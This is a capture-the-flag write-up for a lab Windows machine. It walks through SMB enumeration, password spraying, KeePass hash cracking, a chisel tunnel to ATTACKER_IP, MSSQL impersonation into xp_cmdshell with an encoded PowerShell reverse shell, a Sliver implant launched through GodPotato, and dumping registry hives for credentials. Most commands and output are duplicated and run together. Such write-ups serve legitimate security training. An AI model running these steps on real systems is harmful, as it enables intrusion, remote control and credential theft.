October 14, 2026
New Hire (HackSmarter)
Overview
By Daniel Lewis
6 min read
Overview
- SMB Guest Auth
- Password Spray
- keepass2john
- Chisel
- xp_cmdshell
- GodPotato
- Reg Keys
Objective
This lab is a hosted version of the OSCP-LK set. OSCP-LK is a set of machines in the style of the PEN 200 labs and exam to help you sharpen your enumeration, creative thinking and exploitation techniques. The machines were designed to be truly "OSCP like" even more than some machines in OSCP like lists.
Enumeration
- Initial port scan:
nmap -sS -p- 10.1.121.234 -A -Pn -T4 -v
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: WIN-0MTGMLVOBBO
| NetBIOS_Domain_Name: WIN-0MTGMLVOBBO
| NetBIOS_Computer_Name: WIN-0MTGMLVOBBO
| DNS_Domain_Name: WIN-0MTGMLVOBBO
| DNS_Computer_Name: WIN-0MTGMLVOBBO
| Product_Version: 10.0.20348
|_ System_Time: 2026-10-13T21:02:06+00:00
| ssl-cert: Subject: commonName=WIN-0MTGMLVOBBO
| Issuer: commonName=WIN-0MTGMLVOBBO
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-29T19:25:58
| Not valid after: 2027-02-28T19:25:58
| MD5: c39ed38e37eb4466089b4795fc90dabc
|_SHA-1: f207146c2797cc646189fc5807ff3823bea706db
|_ssl-date: 2026-10-13T21:02:45+00:00; -2s from scanner time.
49669/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): FreeBSD 6.X (86%)
OS CPE: cpe:/o:freebsd:freebsd:6.2
Aggressive OS guesses: FreeBSD 6.2-RELEASE (86%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.020 days (since Tue Oct 13 13:33:33 2026)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsnmap -sS -p- 10.1.121.234 -A -Pn -T4 -v
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: WIN-0MTGMLVOBBO
| NetBIOS_Domain_Name: WIN-0MTGMLVOBBO
| NetBIOS_Computer_Name: WIN-0MTGMLVOBBO
| DNS_Domain_Name: WIN-0MTGMLVOBBO
| DNS_Computer_Name: WIN-0MTGMLVOBBO
| Product_Version: 10.0.20348
|_ System_Time: 2026-10-13T21:02:06+00:00
| ssl-cert: Subject: commonName=WIN-0MTGMLVOBBO
| Issuer: commonName=WIN-0MTGMLVOBBO
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-29T19:25:58
| Not valid after: 2027-02-28T19:25:58
| MD5: c39ed38e37eb4466089b4795fc90dabc
|_SHA-1: f207146c2797cc646189fc5807ff3823bea706db
|_ssl-date: 2026-10-13T21:02:45+00:00; -2s from scanner time.
49669/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): FreeBSD 6.X (86%)
OS CPE: cpe:/o:freebsd:freebsd:6.2
Aggressive OS guesses: FreeBSD 6.2-RELEASE (86%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.020 days (since Tue Oct 13 13:33:33 2026)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows- Checking for guest / null access:
nxc smb 10.1.192.160 -u 'Guest' -p '' --sharesnxc smb 10.1.192.160 -u 'Guest' -p '' --shares
- Using smbclient, we can download all the files we have access too:
smbclientng -u 'Guest' -p '' --host '10.1.192.160'smbclientng -u 'Guest' -p '' --host '10.1.192.160'
- We see that in the
employees.emlthat this is a default password for the new hires. Lets create a list of users and spray this password at them:
- Create the file
users.txtwith the names above and then run this command to generate possible usernames:
username-anarchy -i users.txtusername-anarchy -i users.txt
- Spray the password against the
usernames.txt: - NOTE: Because
Guestis enabled, we get all hits forGuestwhen the logon failed. Look for the name that does not haveGuestby the name:
nxc smb 10.1.192.160 -u usernames.txt -p 'MegaCorp2026!' --continue-on-successnxc smb 10.1.192.160 -u usernames.txt -p 'MegaCorp2026!' --continue-on-success
- Check if the creds:
nxc smb 10.1.192.160 -u 'tim.torner' -p 'MegaCorp2026!' --sharesnxc smb 10.1.192.160 -u 'tim.torner' -p 'MegaCorp2026!' --shares
Foothold
- Creds for
tim.tornerwho is the new junior helpdeskt:
tim.torner:MegaCorp2026!tim.torner:MegaCorp2026!- Since
tim.torneris the new junior helpdesk, lets see if he has access to the IT folder:
smbclientng -u 'tim.torner' -p 'MegaCorp2026!' --host '10.1.192.160'smbclientng -u 'tim.torner' -p 'MegaCorp2026!' --host '10.1.192.160'
Lateral Movement
- The
Database.kdblooks interesting, lets usekeepass2johnto grab the hash:
keepass2john Database.kdbkeepass2john Database.kdb
- Crack the hash (you may need to edit the file to delete
Database.kdb:at the beginner like I had too)
hashcat -m 13400 hacksmarter/newhire/kdb.hash rockyou.txthashcat -m 13400 hacksmarter/newhire/kdb.hash rockyou.txt
- Open the database with
keepassxcon linux:
- If we
--rid-brutewithnxcwe can see other users on this computer such asfred.green:
nxc smb 10.1.192.160 -u 'tim.torner' -p 'MegaCorp2026!' --rid-brutenxc smb 10.1.192.160 -u 'tim.torner' -p 'MegaCorp2026!' --rid-brute
- Test the creds:
nxc smb 10.1.192.160 -u 'fred.green' -p '7ERRI9Q0YEfvJYF' --sharesnxc smb 10.1.192.160 -u 'fred.green' -p '7ERRI9Q0YEfvJYF' --shares
PrivEsc
- Creds:
fred.green:7ERRI9Q0YEfvJYFfred.green:7ERRI9Q0YEfvJYF- By checking winrm via
nxcwe see that he has access:
nxc winrm 10.1.192.160 -u 'fred.green' -p '7ERRI9Q0YEfvJYF'nxc winrm 10.1.192.160 -u 'fred.green' -p '7ERRI9Q0YEfvJYF'
- Logon:
evil-winrm -u 'fred.green' -p '7ERRI9Q0YEfvJYF' -i 10.1.192.160evil-winrm -u 'fred.green' -p '7ERRI9Q0YEfvJYF' -i 10.1.192.160
- Can confirm that there is a MSSQL server being run from the initial folder enumeration and confirmed that port 1433 is listening:
- We can use a reverse proxy to gain access to the database with chisel. Upload chisel64.exe and start a server, then utilize proxychains to tunnel through to the victim computer to access to the database:
- Upload the
chisel64.exefile to the victim (I uploaded the folder with bothchisel64.exeandchisel32.exeon accident):
upload /opt/resources/windows/chisel/chisel64.exe chisel.exeupload /opt/resources/windows/chisel/chisel64.exe chisel.exe
- Start the server:
chisel server -p 1433 --socks5 --reversechisel server -p 1433 --socks5 --reverse
- On the victims computer:
chisel.exe client ATTACKER_IP:1433 R:sockschisel.exe client ATTACKER_IP:1433 R:socks- Use Proxycahins to connect to the database (make sure your
socks5 127.0.0.1:1080is set up properly in youproxychains.conf):
proxychains mssqlclient.py 'fred.green':'7ERRI9Q0YEfvJYF'@'10.1.192.160' -windows-authproxychains mssqlclient.py 'fred.green':'7ERRI9Q0YEfvJYF'@'10.1.192.160' -windows-auth
fred.greenhas impersonate privs from sa.- Using
execute_as_loginwe can login as sa:
exec_as_login saexec_as_login sa
- Then we can enable
enable_xp_cmdshellto gain command execution as sa:
enable_xp_cmdshellenable_xp_cmdshell
- Go to https://www.revshells.com/ to create a reverse shell payload, execute is as sa to catch the privileged shell:
xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMgAw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bgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
Loot
- Enumerating this user, we can type out a file and see a password hard coded in:
type ssh.lnktype ssh.lnk
- Testing this password, we can confirm that this is the sysadmin's password:
sysadmin:RRxcgEJSpZPnQAR90sysadmin:RRxcgEJSpZPnQAR90Alternate LOOT
- By testing creds, we can see that this is the same password for
Administratorso we can login as the default admin to gain more privs. - We can upload GodPotato and a Sliver implant.
- Run GodPotato to execute the implant as NT Authority and gain a session on sliver.
- Logon as
Administrator
evil-winrm -u 'Administrator' -p 'RRxcgEJSpZPnQAR90' -i 10.1.192.160evil-winrm -u 'Administrator' -p 'RRxcgEJSpZPnQAR90' -i 10.1.192.160
- Upload the files:
upload /opt/resources/windows/GodPotato-NET4.exe GodPotato.exeupload /opt/resources/windows/GodPotato-NET4.exe GodPotato.exe
- Check listeners, create implant, upload:
generate --mtls 10.200.107.118:443 --os windows
upload UNLIKELY_USE.exe update.exegenerate --mtls 10.200.107.118:443 --os windows
upload UNLIKELY_USE.exe update.exe
- Execute
update.exeviaGodPotato.exe:
.\GodPotato.exe -cmd "C:\Users\Administrator\desktop\update.exe".\GodPotato.exe -cmd "C:\Users\Administrator\desktop\update.exe"
- Now as System, we can save the reg keys of system, security, sam, and software:
- Enable your SeBackUpPrivilege:
remote-get_priv -- -privilege SeBackupPrivilegeremote-get_priv -- -privilege SeBackupPrivilege- SYSTEM
remote-reg-save -- -path SYSTEM -output-path C:\\Windows\\Temp\\sys.hive -hive 2
download -t 300 C:\\Windows\\Temp\\sys.hiveremote-reg-save -- -path SYSTEM -output-path C:\\Windows\\Temp\\sys.hive -hive 2
download -t 300 C:\\Windows\\Temp\\sys.hive- SECURITY
remote-reg-save -- -path SECURITY -output-path C:\\Windows\\Temp\\sec.hive -hive 2
download -t 300 C:\\Windows\\Temp\\sec.hiveremote-reg-save -- -path SECURITY -output-path C:\\Windows\\Temp\\sec.hive -hive 2
download -t 300 C:\\Windows\\Temp\\sec.hive- SAM
remote-reg-save -- -path SAM -output-path C:\\Windows\\Temp\\sam.hive -hive 2
download -t 300 C:\\Windows\\Temp\\sam.hiveremote-reg-save -- -path SAM -output-path C:\\Windows\\Temp\\sam.hive -hive 2
download -t 300 C:\\Windows\\Temp\\sam.hive- SOFTWARE (Needed for Pypykats)
remote-reg-save -- -path SOFTWARE -output-path C:\\Windows\\Temp\\soft.hive -hive 2
download -t 300 C:\\Windows\\Temp\\soft.hiveremote-reg-save -- -path SOFTWARE -output-path C:\\Windows\\Temp\\soft.hive -hive 2
download -t 300 C:\\Windows\\Temp\\soft.hive5a. Secrectsdump.py
secretsdump.py -sam sam.hive -security sec.hive -system sys.hive LOCALsecretsdump.py -sam sam.hive -security sec.hive -system sys.hive LOCAL
5b. Pypykatz
pypykatz registry sys.hive --sam sam.hive --security sec.hive --software soft.hivepypykatz registry sys.hive --sam sam.hive --security sec.hive --software soft.hive
- MSSQL service is being run on the sysadmin account indicating that the password used in plaintext is for the account sysadmin.